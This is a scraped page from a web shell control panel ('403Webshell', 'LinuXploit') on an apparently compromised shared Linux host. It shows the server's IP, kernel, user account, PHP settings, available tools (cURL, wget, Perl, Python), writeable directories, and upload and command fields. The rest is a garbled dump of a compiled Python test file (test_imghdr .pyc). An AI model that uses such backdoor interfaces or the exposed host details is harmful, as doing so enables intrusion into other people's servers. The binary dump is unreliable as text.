403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_imghdr.cpython-36.pyc
3

�w2_��@s�ddlZddlZddlZddlZddlZddlZddlmZmZm	Z	d/Z
Gdd�dej�ZGdd �d ej
�Zed!kr|ej�dS)0�N)�findfile�TESTFN�unlink�
python.png�png�
python.gif�gif�
python.bmp�bmp�
python.ppm�ppm�
python.pgm�pgm�
python.pbm�pbm�
python.jpg�jpeg�
python.ras�rast�
python.sgi�rgb�python.tiff�tiff�
python.xbm�xbm�python.webp�webp�
python.exr�exrc@seZdZdd�Zdd�ZdS)�UnseekableIOcCs
tj�dS)N)�io�UnsupportedOperation)�self�r#�5/opt/alt/python36/lib64/python3.6/test/test_imghdr.py�tellszUnseekableIO.tellcOs
tj�dS)N)r r!)r"�args�kwargsr#r#r$�seekszUnseekableIO.seekN)�__name__�
__module__�__qualname__r%r(r#r#r#r$rsrc@sxeZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�
TestImghdrc	Cs4tddd�|_t|jd��}|j�|_WdQRXdS)Nz
python.png�
imghdrdata)�subdir�rb)r�testfile�open�read�testdata)�cls�streamr#r#r$�
setUpClass!szTestImghdr.setUpClasscCstt�dS)N)rr)r"r#r#r$�tearDown'szTestImghdr.tearDowncCs�x�tD]�\}}t|dd�}|jtj|�|�t|d��}|jtj|�|�WdQRXt|d��}|j�}WdQRX|jtjd|�|�|jtjdt|��|�qWdS)Nr-)r.r/)�
TEST_FILESr�assertEqual�imghdr�whatr1r2�	bytearray)r"�filename�expectedr5�datar#r#r$�	test_data*szTestImghdr.test_datacCsRxLtD]D\}}|j|d��*t|dd�}|jtjtj|��|�WdQRXqWdS)N)r=r-)r.)r8ZsubTestrr9r:r;�pathlibZPath)r"r=r>r#r#r$�test_pathlike_filename5sz!TestImghdr.test_pathlike_filenamecCs:dd�}tjj|�|jtjj�|jtjdd�d�dS)NcSs|jd�rdSdS)Nseggs�ham)�
startswith)�h�filer#r#r$�
test_jumbo<s
z1TestImghdr.test_register_test.<locals>.test_jumboseggsrC)r:Ztests�appendZ
addCleanup�popr9r;)r"rGr#r#r$�test_register_test;szTestImghdr.test_register_testcCszttd��$}|jd�|j�}|j|j�WdQRXttd��2}|j|�|jtj|�d�|j|j�|�WdQRXdS)N�wbs
ababagalamagar/r)	r1r�writer%r3r(r9r:r;)r"r5�posr#r#r$�
test_file_posCs

zTestImghdr.test_file_posc,Cs�|jt��tj�WdQRX|jt��tjd�WdQRX|jt��tj|jd�WdQRX|jt��tjtj|j��WdQRXt|jd��*}|jt��tj|j	��WdQRXWdQRXdS)N�r/)
�assertRaises�	TypeErrorr:r;�AttributeErrorr0�os�fsencoder1�fileno)r"�fr#r#r$�
test_bad_argsMszTestImghdr.test_bad_argscCs$xdD]}|jtjd|��qWdS)N��PN
���Y��cutecat�	000000JFI�GIF80)rXrYrZr[r\r])ZassertIsNoner:r;)r"�headerr#r#r$�test_invalid_headersZszTestImghdr.test_invalid_headersc Cs�tj���tjdt�x�tD]�\}}t|dd�}t|d��}|j�jd�}WdQRX|j	t
��tjt
j|��WdQRX|j	t
��tjd|�WdQRXqWWdQRXdS)N�ignorer-)r.r/�latin1)�warnings�catch_warnings�simplefilter�BytesWarningr8rr1r2�decoderPrQr:r;r �StringIO)r"r=�_r5r?r#r#r$�test_string_datacs
zTestImghdr.test_string_datac	Cs$|jt��tjd�WdQRXdS)NZmissing)rP�FileNotFoundErrorr:r;)r"r#r#r$�test_missing_fileoszTestImghdr.test_missing_filecCslt|jd�}|j�|jt��}tj|�WdQRXtj|j	�}|j�|jt��}tj|�WdQRXdS)Nr/)
r1r0�closerP�
ValueErrorr:r;r �BytesIOr3)r"r5�cmr#r#r$�test_closed_filesszTestImghdr.test_closed_filecCs^ttd��}|j|j�WdQRXttd��(}|jtj��tj	|�WdQRXWdQRXdS)NrKr/)
r1rrLr3rrPr r!r:r;)r"r5r#r#r$�test_unseekable}s
zTestImghdr.test_unseekablecCsPttd��<}|j|j�|jd�|jt��}tj|�WdQRXWdQRXdS)NrKr)	r1rrLr3r(rP�OSErrorr:r;)r"r5ror#r#r$�test_output_stream�s

zTestImghdr.test_output_streamN)r)r*r+�classmethodr6r7r@rBrJrNrWr_rirkrprqrsr#r#r#r$r, s

	
r,�__main__�rr�rr�r	r
�rr�r
r�rr�rr�rr�rr�rr�rr�rr�rr)
rvrwrxryrzr{r|r}r~rr�r�r�)r:r rSrAZunittestrbZtest.supportrrrr8�FileIOrZTestCaser,r)�mainr#r#r#r$�<module>s.k

Youez - 2016 - github.com/yon3zu
LinuXploit